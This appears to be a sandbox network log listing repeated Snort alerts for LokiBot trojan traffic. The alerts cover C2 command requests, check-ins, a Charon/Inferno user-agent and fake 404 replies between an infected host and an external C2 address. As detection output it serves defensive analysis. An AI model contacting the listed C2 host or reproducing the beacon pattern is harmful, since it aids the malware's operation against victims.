Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49170 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49170 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49170 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49170 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49170
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49171 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49171 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49171 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49171 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49171
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49172 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49172 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49172 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49172 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49172
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49173 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49173 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49173 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49173 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49173
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49174 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49174 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49174 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49174 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49174
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49175 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49175 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49175 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49175 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49175
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49176 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49176 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49176 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49176 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49176
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49177 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49177 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49177 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49177 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49177
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49178 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49178 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49178 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49178 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49178
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49179 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49179 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49179 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49179 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49179
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49180 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49180 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49180 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49180 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49180
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49181 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49181 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49181 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49181 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49181
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49182 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49182 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49182 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49182 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49182
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49183 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49183 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49183 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49183 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49183
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49184 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49184 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49184 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49184 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49184
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49185 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49185 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49185 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49185 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49185
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49186 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49186 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49186 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49186 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49186
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49187 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49187 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49187 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49187 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49187
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49188 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49188 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49188 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49188 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49188
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49189 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49189 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49189 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49189 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49189
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49190 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49190 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49190 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49190 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49190
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49191 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49191 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49191 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49191 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49191
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49192 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49192 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49192 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49192 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49192
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49193 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49193 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49193 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49193 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49193
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49194 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49194 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49194 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49194 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49194
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49195 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49195 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49195 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49195 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49195
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49196 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49196 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49196 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49196 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49196
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49197 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49197 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49197 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49197 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49197
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49198 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49198 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49198 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49198 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49198
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49199 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49199 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49199 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49199 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49199
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49200 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49200 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49200 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49200 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49200
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49201 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49201 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49201 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49201 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49201
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49202 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49202 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49202 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49202 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49202
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49203 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49203 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49203 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49203 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49203
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49204 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49204 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49204 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49204 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49204
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49205 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49205 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49205 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49205 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49205
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49206 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49206 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49206 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49206 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49206
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49207 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49207 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49207 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49207 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49207
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49208 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49208 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49208 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49208 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49208
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49209 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49209 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49209 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49209 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49209
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49210 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49210 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49210 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49210 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49210
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49211 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49211 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49211 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49211 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49211
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49212 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49212 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49212 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49212 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49212
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49213 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49213 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49213 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49213 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49213
